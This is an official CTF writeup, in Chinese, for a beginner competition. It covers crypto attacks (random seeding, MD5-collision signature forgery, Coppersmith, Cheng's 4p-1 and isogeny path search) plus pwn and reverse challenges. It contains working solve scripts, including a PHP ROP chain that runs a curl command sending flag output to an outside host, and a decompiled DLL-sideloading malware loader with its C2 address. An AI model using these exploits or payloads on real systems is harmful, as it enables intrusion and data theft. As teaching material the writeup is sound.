Before all 默默的這比賽也辦到第三屆了,看了多少有點感動 XD 不免俗地介紹一下,這是希望可以作為新手(尤其高中生)第一次接觸 CTF 解題的入門比賽!(嗎? 怎麼說呢,現在的 CTF 圈生態因為 LLM 的氾濫幾乎導致一個什麼都不會,只會開 Agent 的選手之解題能力能與程度不錯的選手旗鼓相當,這也導致現在想要透過單純的 “解題成績” 來區分選手並進行排名困難重重,我也很擔心一些新起之秀會因此喪失學習的熱忱與成就感! 為此我這次重新跳下來設計了一系列 Crypto 問題,他們跨足最基礎的 Python 特性, MD5 Collision 一路到 Isogenies Path Problem,誠實說有些題目放在那個一年前我還只需要往這邊丟個基礎 LLL 線性方程作為 Insane 大家就束手無策的年代一定十分的超綱,但還是會鼓勵一般的選手可以透過 LLM 以及網路做更快的資料整理/學習並解題。 接下來的內容是我對於這場比賽我出的題目之官方 Writeup,希望你喜歡。
Crypto 676767 一道 nc 題,主邏輯在這邊: 簡單來說就是會先生成一個 random 時拿來當亂數種子的 seed,給你十個 random.getrandbits(256),後面可以對 seed 做一個線性變換然後必須猜中 random.randrange(new seed) 的值連續十次,其中不可以維持原本的數字或者變成 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import randomfrom flags import flagbase = 86844066927987146567678238756515930889952488499230423029593188005934867676767 seed = random.getrandbits(6767 ) random.seed(seed) for i in range (10 ): print ("<" , random.getrandbits(256 )) a = int (input ("a>" )) b = int (input ("b>" )) if a==0 or a==1 : print ("[-] bad hacker" ) exit() random.seed(a*seed + b) for i in range (10 ): cur = int (input ("> " )) if random.randrange(base) != cur: print ("[-] byebye" ) exit() print ("[+]" , flag)
基本上這題絕對是一道很新手友善的題目,但這些 feature 問 ai 好像也得多問個幾次(?) 首先注意到這段程式碼:(Python Random 庫對 seed 的處理)https://github.com/python/cpython/blob/main/Modules/_randommodule.c#L321C13-L321C30
或者說 Twitter 以及各大資訊社群好像都有機會看到過類似貼文https://x.com/karpathy/status/1998236299862659485
會知道 Python random.seed 函數對傳入的參數會取絕對值,所以其實 a 輸入 -1,b 輸入 0 就可以讓 Random 內部的狀態跟剛剛一樣,爾後其實觀察一下 https://github.com/python/cpython/blob/main/Lib/random.py#L245 就會知道 Python 的 randrange 函數取法是 getrandbits 取該長度後判斷是否大於給定的 range 值,而我給的 base 大概有一半的機率會通過檢查(因為他 leading bits 蠻多 1),所以基本上就是把剛剛得到的十個輸出再依次填入,爆破 1000 次左右應該就能順利通過了。
Proof 100 一樣是 nc 題,一開始有個 seed 會公開出來,後面都要用他做任意訊息 RSA 簽名 可以控制的參數就是一開始可以提供一個 Key 當作 salt(前綴) 取 MD5 再丟去 RSA Sign,他會給出結果。 再來就是 Challenge,你必須在不使用前面使用過的所有 Key 的情況下想辦法偽造簽章值。 最後要回答出使用的公鑰 N 的 Euler Totient phi 才可以拿到 Flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from flags import flagfrom Crypto.Util.number import *from hashlib import md5import osp, q = getPrime(64 ), getPrime(64 ) e = 0x10001 N = p * q d = pow (e, -1 , (p-1 )*(q-1 )) seed = os.urandom(16 ) def sign (msg ): global d, N m = bytes_to_long(md5(msg).digest()) return pow (m, d, N) used_keys = [] print (f"SEED: {seed.hex ()} " )print (f"{e=} " )for i in range (100 ): print ("My turn owo" ) cur_key = bytes .fromhex(input ("key:" )) print (sign(cur_key+seed)) used_keys.append(cur_key) print ("Your turn ^w^" ) cur_key = bytes .fromhex(input ("key:" )) if cur_key in used_keys: print ("Can u be more creative LOL" ) exit() proof = int (input ("proof:" )) if proof != sign(cur_key+seed): print ("Sorry u didn't proof anything ..." ) exit() used_keys.append(cur_key) print ("PASS!" ) phi = int (input ("phi?" )) if phi != (p-1 )*(q-1 ): print ("FAILED at LAST haha" ) exit() print ("Well done" , flag)
基本上這邊用的是一個 MD5 Feature,因為 MD5 Hash 的計算方法是前一個 Block 作為 state 去計算下一塊 block 的內容,所以對於 Collision Pair (X1, X2) 我們有 當 $MD5(X1)=MD5(X2)$ $MD5(X1||S)=MD5(X2||S)$
再來因為我們沒有 N 所以要將前面的結果取 GCD 後拿到 N,因為 $hash\space^e-hash \equiv 0 (mod N)$。
最後就是因為 p, q 過小,都只有 64 bits 所以不論用 sympy, sage 的 factor 或者一些常見的算法應該都算好拆開
附上團隊驗題 jackoha 的 solve script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from sage.all import *from pwn import *from hashlib import md5from Crypto.Util.number import *def solve (): coll1 = bytes .fromhex("4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2" ) coll2 = bytes .fromhex("4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2" ) r.recvuntil(b"SEED: " ) seed = bytes .fromhex(r.recvline().strip().decode()) r.recvuntil(b"e=" ) e = int (r.recvline().strip()) log.info(f"Seed : {seed.hex ()} " ) log.info(f"e : {e} " ) N = 0 d = 0 p = 0 q = 0 for i in range (100 ): r.recvuntil(b"My turn owo" ) if i == 0 : r.sendlineafter(b"key:" , coll1.hex ().encode()) s1 = int (r.recvline().strip()) m1 = bytes_to_long(md5(coll1 + seed).digest()) r.recvuntil(b"Your turn ^w^" ) r.sendlineafter(b"key:" , coll2.hex ().encode()) r.sendlineafter(b"proof:" , str (s1).encode()) saved_s1 = s1 saved_m1 = m1 elif i == 1 : key_my = b"A" r.sendlineafter(b"key:" , key_my.hex ().encode()) s2 = int (r.recvline().strip()) m2 = bytes_to_long(md5(key_my + seed).digest()) val1 = pow (saved_s1, e) - saved_m1 val2 = pow (s2, e) - m2 possible_N = gcd(val1, val2) N = possible_N while N % 2 == 0 : N //= 2 while N % 3 == 0 : N //= 3 log.success(f"N : {N} " ) factors = list (factor(N)) p = int (factors[0 ][0 ]) q = int (factors[1 ][0 ]) log.success(f"p : {p} , q : {q} " ) phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) log.success(f"d : {d} " ) key_your = b"B" r.recvuntil(b"Your turn ^w^" ) r.sendlineafter(b"key:" , key_your.hex ().encode()) proof = pow (bytes_to_long(md5(key_your + seed).digest()), d, N) r.sendlineafter(b"proof:" , str (proof).encode()) else : r.sendlineafter(b"key:" , f"R{i} " .encode().hex ().encode()) r.recvline() r.recvuntil(b"Your turn ^w^" ) cur_key = f"Check{i} " .encode() r.sendlineafter(b"key:" , cur_key.hex ().encode()) proof = pow (bytes_to_long(md5(cur_key + seed).digest()), d, N) r.sendlineafter(b"proof:" , str (proof).encode()) r.recvuntil(b"PASS!" ) phi = (p - 1 ) * (q - 1 ) r.sendlineafter(b"phi?" , str (phi).encode()) r.interactive() if __name__ == "__main__" : r = remote('localhost' , 48763 ) solve()
Bit by Bit 題目蠻簡單的,簡單說就是要判斷每一次 RSA 加密的時候使用的明文是不是在其他組公鑰也出現過,因為當今天 loop 跑過去的時候 1 的值都對應相同密文,但 0 的時候大家不同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Util.number import *from flags import flagimport os, jsonflag = flag.replace(b'THJCC{' , b'' ).replace(b'}' , b'' ) assert len (flag) == 105 , 'womp' key = os.urandom(500 ) def enc (msg ): p, q = getPrime(32 ), getPrime(32 ) N = p * q e = 0x10001 return [pow (bytes_to_long(msg), e, N), N] output_data = [] for i in '' .join([format (b, '08b' ) for b in flag]): if i == '1' : output_data.append(enc(key)) elif i == '0' : output_data.append(enc(os.urandom(500 ))) with open ('output.txt' , 'w' ) as f: json.dump(output_data, f)
基本上因為 key 的大小明顯比 RSA 公鑰大太多,要多取幾組做 CRT(廣播攻擊那個)才可以 LEAK 出來 … 但我在這堆數字中偏偏摻雜了很多的雜訊!
就是一個很經典的 CRT with Errors 問題,簡單來說,對於 Mod N 的一個多項式,有一種叫做 Coppersmith’s Method 的東西在 Mod N 的一些小因數的情況下找出特定的小根 x
想知道更多我以前寫過一篇簡筆(link)
那這樣的問題解法就是,先把所有的參數都塞進去做 CRT,這時候我們拿到的數字 $C$ 將滿足 $C-x \space \equiv 0 \space (mod\space N’)$ 對於所有 bit 是 1 時採用的公鑰相乘的結果 $N’$,也就是 $N$ 的小因數,而 x 就是那個 key
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from Crypto.Util.number import *import jsonwith open ('output.txt' , 'r' ) as f: datas = json.load(f) cs = [] Ns = [] def get_flag (key ): flag = 0 global cs, Ns for i in range (len (cs)): if int (bytes_to_long(key)) % Ns[i] == int (cs[i]): flag += 1 if i!=len (cs)-1 : flag *= 2 print (long_to_bytes(flag)) for cur_data in datas: cur_N = cur_data[1 ] cur_c = cur_data[0 ] cur_d = pow (0x10001 , -1 , euler_phi(cur_N)) Ns.append(cur_N) cs.append(int (pow (cur_c, cur_d, cur_N))) R=crt(cs, Ns) N = 1 for i in Ns: N*=i P.<x> = PolynomialRing(Zmod(N)) f = x-R for i in range (30 , 70 ): key = f.small_roots(beta=i/100 ) print (i) if len (key)>0 : cur_key = long_to_bytes(int (key[0 ])) print (cur_key, len (cur_key)) print (get_flag(cur_key))
0 login JWT RS256,目標是 Fake Token
1 2 3 4 5 6 7 8 def generate_parameter_p (bits, D=7331 ): while True : s = number.getRandomNBitInteger(bits // 2 ) p_val = (D * (s**2 ) + 1 ) if p_val % 4 == 0 : p = p_val // 4 if number.isPrime(p): return p
這是生成其中一個質數的方法
首先對於 JWT Token 在 RS256 下是可以透過取得多組 tokens 來洩漏公鑰的,做法一樣是 GCD 上 Github 翻應該有很多這類型的工具:https://github.com/FlorianPicca/JWT-Key-Recovery
再來就是這個質數生成方法,其實這題比較想考大家查論文或者透過 AI 縮小問題範圍的功力 XD 簡言之有一種叫做 Cheng’s 4p-1 Factorization 的攻擊可以進行,他的做法就是將運算抬到一種叫做 Hilbert 多項式的 Ring 上(因為 4p-1 滿足了一些特定結構),最後看誰在 Mod N 下逆推不了就知道它包含剛剛那個質數 p,取多項式 GCD 就可以解出質數 p (感覺很像在 Mod N 下 p 沒有模逆元)。可能還會需要構造特定的 Curve 去做運算再重新取 Division polynomials。 不過這些數學我覺得實在不需要在這邊進行贅述,有興趣ㄉ自己去翻論文吧 XD(這絕對不在正常高中/大學數學範圍內) 相關的腳本網路上其實找的到 附上一個:https://github.com/pwang00/Cryptographic-Attacks/blob/master/Public%20Key/Factoring/cm_factor.sage 偏新的 RSA Backdoor(?) 2019 年的
I Sogo 你了喔!
Sogo 台灣人的諧音梗了、、、
理論上他應該是 Crypto 項目魔王題 哇,快速在不提及抽象代數的情況下簡介一下 Isogenies Path/SIDH 的一些東西 簡單來說: Isogeny?就是保持群加法結構不被破壞的映射($\phi(P)+\phi(Q) = \phi(P+Q)$),其中 kernel 代表被映射過去會等於 0 的點,這種映射是雙線性的 而在進行 SIDH 類通訊的時候,我們會挑選一個曲線他的 order 是模(質)數 p 大一的 p+1(如果有體擴張要取次方,通常在這種密碼學裡面是平方),這類曲線叫做 supersingular curve 因為他們在進行 Isogenies 變換時產生的轉換圖是不規則地,如下,其中他們共享的秘密就是某一條走訪的路徑(CSIDH) 或者 利用雙線性和 Kernel 相同,最終都會到同一張 n-isogenies graph 的特性走到同一個的曲線 (SIDH,本題示範)
怎麼換呢? 通常是選定一個 n-torsion point ([n]P=0) 作為 Kernel 傳送出去,其中 n 會是 p+1 的一個因數,而這時候 kernel 群的大小會是 n (蠻好理解的,$\phi(P)=0\rightarrow \phi([2-N]P)=0$)
不過怎麼換也有細節,這是 SIDH 的作法: 這邊假設 Prime 是 $2^{ea} + 3^{eb}$ 然後我們有個 supersingular curve E,我們有 $2^{ea}$ torsion E[$2^{ea}$] 下的 Bases (P2, Q2) 和 $3^{eb}$ torsion E[$3^{eb}$] 下的 Bases (P3, Q3)
Alice 拿 secret sA 去算 Kernel $P2+sA \times Q2$ 然後做 isogeny,然後這個 isogeny 叫做 $\phi_A$,再把 $\phi_A(P3), \phi_A(Q3)$ 丟出來當作公鑰 Bob 會再去計算把 EA isogeny 到 $3^{eb}$ 上,取的點是 $\phi_A(P3) + sB \times \phi_A(Q3)$,最後因為
isogeny 保持加法同構,又 kernel 可看作同一顆
他們 domain 相同
所以變成同構,j-invarient 相同!
SIDH 已經被破解了,是一種叫做 Wouter Castryck Attack 的東西,是透過 $\phi_A(P3), \phi_A(Q3)$ 這些點洩漏的額外訊息做內容還原的 但在這題中我改變了兩件事
不公開變換後的點,只給開始曲線和結尾曲線
我的交換密鑰是從曲線 E0 走到 Eab 的路徑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from sage.all import *from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport hashlibimport osea, eb = 13 , 7 p = 2 **ea * 3 **eb - 1 K.<i> = GF(p**2 , modulus=x**2 + 1 ) E0 = EllipticCurve(K, [0 , 6 , 0 , 1 , 0 ]) def get_isogeny_chain (E, l, e, secret ): curr_E = E phis = [] for i in range (e): P, Q = curr_E.torsion_basis(l**(e-i)) kernel_pt = (P + secret * Q) * l**(e-i-1 ) phi = curr_E.isogeny(kernel_pt) phis.append(phi) curr_E = phi.codomain() return curr_E, phis def push_point (phi_list, P ): curr_P = P for phi in phi_list: curr_P = phi(curr_P) return curr_P sa = randint(0 , 2 **ea - 1 ) sb = randint(0 , 3 **eb - 1 ) Ea, phis_a = get_isogeny_chain(E0, 2 , ea, sa) Eab, phis_b = get_isogeny_chain(Ea, 3 , eb, sb) P_pub = E0.random_element() P_priv = push_point(phis_b, push_point(phis_a, P_pub)) shared_x = P_priv.xy()[0 ] key = hashlib.sha256(str (shared_x).encode()).digest()[:16 ] iv = os.urandom(16 ) cipher = AES.new(key, AES.MODE_CBC, iv=iv) flag = b"THJCC{TEST_ME}" ciphertext = iv + cipher.encrypt(pad(flag, 16 )) print (f"E0: {E0.a_invariants()} " )print (f"Eab: {Eab.a_invariants()} " )print (f"P_pub: {P_pub.xy()} " )print (f"ciphertext: {ciphertext.hex ()} " )''' E0: (0, 6, 0, 1, 0) Eab: (0, 6, 0, 11067381*i + 1118198, 8021433*i + 1906048) P_pub: (8959148*i + 2448181, 10026959*i + 706144) ciphertext: 1aca81de78c79d95adc0b14f4dfb3c8121f900896c4ddd05fba6070f12f9a5ce94782503d5f8343ea8d237ea1eb13e76464a88cd4992fcad27e11af22b3fcd1a '''
這題看上去其實最大的問題就是參數過小,導致張成的 isogeny graph 其實是可以被暴力搜索的(BFS/DFS) 那又有一種更好的做法是,先從頭枚舉完成 2-isogeny graph 再反過來枚舉完 3-isogeny graph,最後取相交的點還原所有路徑(也就是 MitM 攻擊) 另外其實不需要儲存整條曲線的資訊,可以取 j-invariant 就好 剩下怎麼走訪,怎麼枚舉,就留給真正有興趣的花時間去研究啦~那已經不是初等數學或簡單的概念能解釋的了 qq 讓 AI 幫我整理了一下破破的 Exploit XD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from sage.all import *from Crypto.Cipher import AESimport hashlibea, eb = 13 , 7 p = 2 **ea * 3 **eb - 1 K.<i> = GF(p**2 , modulus=x**2 + 1 ) R.<y> = PolynomialRing(K) ''' E0: (0, 6, 0, 1, 0) Eab: (0, 6, 0, 11067381*i + 1118198, 8021433*i + 1906048) P_pub: (8959148*i + 2448181, 10026959*i + 706144) ciphertext: 1aca81de78c79d95adc0b14f4dfb3c8121f900896c4ddd05fba6070f12f9a5ce94782503d5f8343ea8d237ea1eb13e76464a88cd4992fcad27e11af22b3fcd1a ''' E0_inv = (0 , 6 , 0 , 1 , 0 ) Eab_inv = (0 , 6 , 0 , 11067381 *i + 1118198 , 8021433 *i + 1906048 ) P_pub_coords = (8959148 *i + 2448181 , 10026959 *i + 706144 ) ciphertext_hex = "1aca81de78c79d95adc0b14f4dfb3c8121f900896c4ddd05fba6070f12f9a5ce94782503d5f8343ea8d237ea1eb13e76464a88cd4992fcad27e11af22b3fcd1a" E0 = EllipticCurve(K, E0_inv) Eab = EllipticCurve(K, Eab_inv) P_pub = E0(P_pub_coords) Phi2 = classical_modular_polynomial(2 ) Phi3 = classical_modular_polynomial(3 ) def get_all_next_js (Phi, jc ): """允許回頭路,獲取所有鄰居""" f = Phi(jc, y) return [r for r, _ in f.roots()] def build_full_tree (start_j, Phi, depth ): tree = {d: {} for d in range (depth + 1 )} tree[0 ][start_j] = [None ] curr_nodes = [start_j] for d in range (depth): next_nodes = [] for jc in curr_nodes: neighbors = get_all_next_js(Phi, jc) for jn in neighbors: if jn not in tree[d+1 ]: tree[d+1 ][jn] = [] next_nodes.append(jn) tree[d+1 ][jn].append(jc) curr_nodes = next_nodes return tree print (f"[*] 正在執行全路徑搜尋 (允許回頭路, ea={ea} , eb={eb} )..." )tree_a = build_full_tree(E0.j_invariant(), Phi2, ea) tree_b = build_full_tree(Eab.j_invariant(), Phi3, eb) intersections = set (tree_a[ea].keys()) & set (tree_b[eb].keys()) print (f"[*] 發現 {len (intersections)} 個在精確深度重合的交點" )def get_paths_recursive (tree, depth, curr_j ): if depth == 0 : return [[curr_j]] all_p = [] for prev_j in tree[depth][curr_j]: for p in get_paths_recursive(tree, depth - 1 , prev_j): all_p.append(p + [curr_j]) return all_p def push_point_exhaustive (P, j_path, l ): candidates = [P] for k in range (len (j_path) - 1 ): target_j = j_path[k+1 ] next_gen = [] for p in candidates: for phi in p.curve().isogenies_prime_degree(l): if phi.codomain().j_invariant() == target_j: next_gen.append(phi(p)) unique = {pt.xy(): pt for pt in next_gen} candidates = list (unique.values()) return candidates ct_bytes = bytes .fromhex(ciphertext_hex) iv, ct = ct_bytes[:16 ], ct_bytes[16 :] for j_int in intersections: print (f"[*] 嘗試交點 {j_int} " ) paths_a = get_paths_recursive(tree_a, ea, j_int) paths_b_rev = get_paths_recursive(tree_b, eb, j_int) for pa in paths_a: pts_ea = push_point_exhaustive(P_pub, pa, 2 ) for pb_from_eab in paths_b_rev: pb = pb_from_eab[::-1 ] for p_ea in pts_ea: pts_final = push_point_exhaustive(p_ea, pb, 3 ) for pf in pts_final: iso = pf.curve().isomorphism_to(Eab) p_correct = iso(pf) for cand in [p_correct, -p_correct]: sx = cand.xy()[0 ] key = hashlib.sha256(str (sx).encode()).digest()[:16 ] cipher = AES.new(key, AES.MODE_CBC, iv=iv) dec = cipher.decrypt(ct) if b"THJCC" in dec: print (f"\n[!] 成功!" ) print (f"Flag: {dec[:-dec[-1 ]].decode()} " ) exit()
Pwn Baby PHP 真的就是一個不需要懂 PHP 的寶寶 PHP Pwn 題,我還多塞了很多好用的 gadget 給大家讓大家不需要解太久,就是用最少的知識體驗一次 PHP Pwn!但解題人數還是比想像中少好多 自己撰寫了一個 so 檔案掛載到 PHP whalecrypt.so decompile 結果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 void __cdecl zif_whale_encrypt (zend_execute_data *execute_data, zval *return_value) { int v2; char buffer[64 ]; size_t enc_len; char *enc; zend_value v6; int v7; __int64 v8; __int64 v9; char v10; size_t v11; char v12; size_t n; void *src; zval *__z; size_t i; enc = 0 ; if ( (unsigned int )zend_parse_parameters(execute_data->This.u2.next, "s" , &enc, &enc_len) != -1 ) { memcpy (buffer, enc, enc_len); for ( i = 0 ; i < enc_len; ++i ) buffer[i] ^= 0x78 u; __z = return_value; src = buffer; n = enc_len; v12 = 0 ; v11 = enc_len; v10 = 0 ; v9 = _emalloc((enc_len + 32 ) & 0xFFFFFFFFFFFFFFF8 LL); v8 = v9; v7 = 1 ; *(_DWORD *)v9 = 1 ; if ( v10 ) v2 = 150 ; else v2 = 22 ; *(_DWORD *)(v9 + 4 ) = v2; *(_QWORD *)(v9 + 8 ) = 0 ; *(_QWORD *)(v9 + 16 ) = v11; v6.lval = v9; memcpy ((void *)(v9 + 24 ), src, n); *(_BYTE *)(v6.lval + n + 24 ) = 0 ; __z->value = v6; __z->u1.type_info = 262 ; } }
PHP 程式碼免費送了一個 LFI 和執行一次 whalecrypt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (isset ($_GET ['f' ])){ echo file_get_contents ($_GET ['f' ]); } if (isset ($_GET ['txt' ])){ echo "[+] Encrypting (length: " . strlen ($_GET ['txt' ]) . ")...\n" ; ob_start (); $res = whale_encrypt ($_GET ['txt' ]); $out = ob_get_contents (); ob_end_clean (); echo "[+] Result length: " . strlen ($res ) . "\n" ; echo "[+] Result:" .$res ; } ?>
簡言之這題就兩個知識點
你可以透過讀取 /proc/self/maps 去 leak 個記憶體段 mapping
ROP
給的 so 檔案有個明顯的 memcpy 導致無限量 BOF,剩下唯一的問題是不可以亂蓋東西,因為會蓋掉 for loop 中的界(enc_len)和遍歷變數(i) 我的作法是全部蓋成 0,最簡單,另外其實可以透過蓋掉 index 來進行 OOB R/W 導致其實 LFI 的漏洞不需要被使用
最後甚至可以直接利用 ROPGadget 自動化的 --ropchain 選項快速撰寫和找出大部分 gadget 以及 bss 段位置,最後我選擇直接改成跳 system 就好 XD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *php_base = 0x555555554000 whalecrypt_base = 0x7ffff5423000 data_segment = php_base + 0x547000 pop_rdi_ret = php_base + 0xf0cd1 pop_rsi_ret = php_base + 0xea37c pop_rax_ret = php_base + 0xf5fe8 mov_rsi_rax_ret = php_base + 0x124aef ret_gadget = php_base + 0x0ea37d system_addr = whalecrypt_base + 0x1140 p = b'' command = b"curl https://bot.whale-tw.com/`/getflag`;id \x00" for i in range (0 , len (command), 8 ): chunk = command[i:i+8 ].ljust(8 , b'\x00' ) p += p64(pop_rsi_ret) p += p64(data_segment + i) p += p64(pop_rax_ret) p += chunk p += p64(mov_rsi_rax_ret) p += p64(pop_rdi_ret) p += p64(data_segment) p += p64(ret_gadget) p += p64(system_addr) payload = bytes ([0 ]*176 ) payload += b'b' *8 payload += p def bytes_to_url_encode (data: bytes ): return "" .join(f"%{b:02X} " for b in data) print (bytes_to_url_encode(payload))
Reverse Baby Malware 就是一個寶寶的 Malware 題,帶大家看 sideload 技術和動態(事實上我是靜態啦)解殼,意外地很少人解出來呢 XD 解壓縮檔案後 link: https://drive.google.com/file/d/1fspSO8Ynznr4xCd-iTGwoQvk-L7YQtSn/view?usp=drive_link 直覺會發現 ffmpeg.dll 檔案過小,這時候其實點進去會發現它好像只是個 DLL Proxy 但是它的 StartAddress 其實有塞髒東西,典型的載入一個 blob 檔案 (snapshot_blob.bin)(事實上,它其實是 chrome/electron app 會有的正常路徑),解密然後執行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __int64 __fastcall StartAddress (LPVOID lpThreadParameter) { HMODULE ModuleHandleA; __int64 v3; SIZE_T dwSize; const __m128i *v5; __m128i *lpStartAddress; HANDLE hObject; CHAR Filename[272 ]; ModuleHandleA = GetModuleHandleA(ModuleName); GetModuleFileNameA(ModuleHandleA, Filename, 0x104 u); PathRemoveFileSpecA(Filename); sub_1800109D0(Filename, aSnapshotBlobBi); v3 = sub_180004728(Filename, aRb); if ( !v3 ) return 0 ; sub_180004CEC(v3, 0 , 2 ); dwSize = (int )sub_1800052AC(v3); sub_180004CEC(v3, 0 , 0 ); v5 = (const __m128i *)sub_180004440(dwSize); if ( v5 ) { sub_1800049A0(v5, dwSize, 1 , v3); sub_1800045D4(v3); sub_180001040(v5, dwSize); lpStartAddress = (__m128i *)VirtualAlloc(0 , dwSize, 0x3000 u, 0x40 u); if ( lpStartAddress ) { sub_18000FF80(lpStartAddress, v5, dwSize); hObject = CreateThread(0 , 0 , (LPTHREAD_START_ROUTINE)lpStartAddress, 0 , 0 , 0 ); if ( hObject ) CloseHandle(hObject); } return 0 ; } else { sub_1800045D4(v3); return 0 ; } }
解密函數在這邊
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall sub_180001040(const __m128i *a1, unsigned __int64 a2) { unsigned __int8 v3; // [rsp+20h] [rbp-38h] unsigned __int64 i; // [rsp+28h] [rbp-30h] __m128i *lpMem; // [rsp+30h] [rbp-28h] unsigned __int64 v6; // [rsp+40h] [rbp-18h] v6 = sub_180010B40((__int64)aFfmpegAvBuffer); lpMem = (__m128i *)sub_180004440(a2); sub_18000FF80(lpMem, a1, a2); for ( i = 0; i < a2; ++i ) { if ( i ) v3 = lpMem->m128i_i8[i - 1] ^ lpMem->m128i_i8[i]; else v3 = lpMem->m128i_i8[0] ^ 0xAA; a1->m128i_i8[i] = aFfmpegAvBuffer[i % v6] ^ (sub_180001000(v3, 3) - i); } return sub_180004430(lpMem); }
另外可提取密鑰是 ffmpeg.av_buffer_create,proxy 去了 vulkan-1.dll,也可以透過網路上比對 hash 發現 vulkan-1.dll 才是 ffmpeg.dll
dec.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def ror8 (val, count ): val &= 0xFF return ((val >> count) | (val << (8 - count))) & 0xFF def decrypt_shellcode (encrypted_data ): key = b"ffmpeg.av_buffer_create" key_len = len (key) decrypted = bytearray (len (encrypted_data)) for i in range (len (encrypted_data)): if i == 0 : v3 = encrypted_data[0 ] ^ 0xAA else : v3 = encrypted_data[i-1 ] ^ encrypted_data[i] v3_rotated = ror8(v3, 3 ) temp_val = (v3_rotated - i) & 0xFF decrypted[i] = key[i % key_len] ^ temp_val return decrypted try : with open ("snapshot_blob.bin" , "rb" ) as f: cipher_text = f.read() plain_text = decrypt_shellcode(cipher_text) with open ("decrypted_shellcode.bin" , "wb" ) as f: f.write(plain_text) print ("解密完成!檔案已儲存為 decrypted_shellcode.bin" ) except FileNotFoundError: print ("錯誤:找不到 snapshot.blob 檔案。" )
解密後拿到 dll 發現也沒在藏,直接追 StartAddress
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 __int64 __fastcall StartAddress(LPVOID lpThreadParameter) { int v2; // eax int v3; // [rsp+20h] [rbp-608h] SOCKET s; // [rsp+28h] [rbp-600h] _SYSTEMTIME SystemTime; // [rsp+48h] [rbp-5E0h] BYREF sockaddr name; // [rsp+58h] [rbp-5D0h] BYREF WSAData WSAData; // [rsp+70h] [rbp-5B8h] BYREF char v8[1024]; // [rsp+210h] [rbp-418h] BYREF GetLocalTime(&SystemTime); if ( SystemTime.wYear > 0x7EAu || SystemTime.wYear == 2026 && SystemTime.wMonth > 1u || SystemTime.wYear == 2026 && SystemTime.wMonth == 1 && SystemTime.wDay >= 9u ) { return 0; } if ( GetFileAttributesA("lab313d.txt") == -1 ) return 0; if ( WSAStartup(0x202u, &WSAData) ) return 0; s = socket(2, 1, 6); if ( s != -1 ) { name.sa_family = 2; *(_WORD *)name.sa_data = htons(0xEE36u); inet_pton(2, "45.77.20.255", &name.sa_data[2]); if ( connect(s, &name, 16) != -1 ) { v2 = sub_180010A80((__int64)"ChipyChipyCall"); send(s, "ChipyChipyCall", v2, 0); ((void (__fastcall *)(char *, _QWORD, __int64))loc_180010030)(v8, 0, 1024); v3 = recv(s, v8, 1023, 0); if ( v3 > 0 ) { if ( (unsigned __int64)v3 >= 0x400 ) _report_rangecheckfailure(); v8[v3] = 0; sub_180004F60(v8); } } closesocket(s); } WSACleanup(); return 0; }
直接獲得 ip port 和連線後要發一個 ChipyChipyCall 過去,連上去照著發就 Get Flag 了!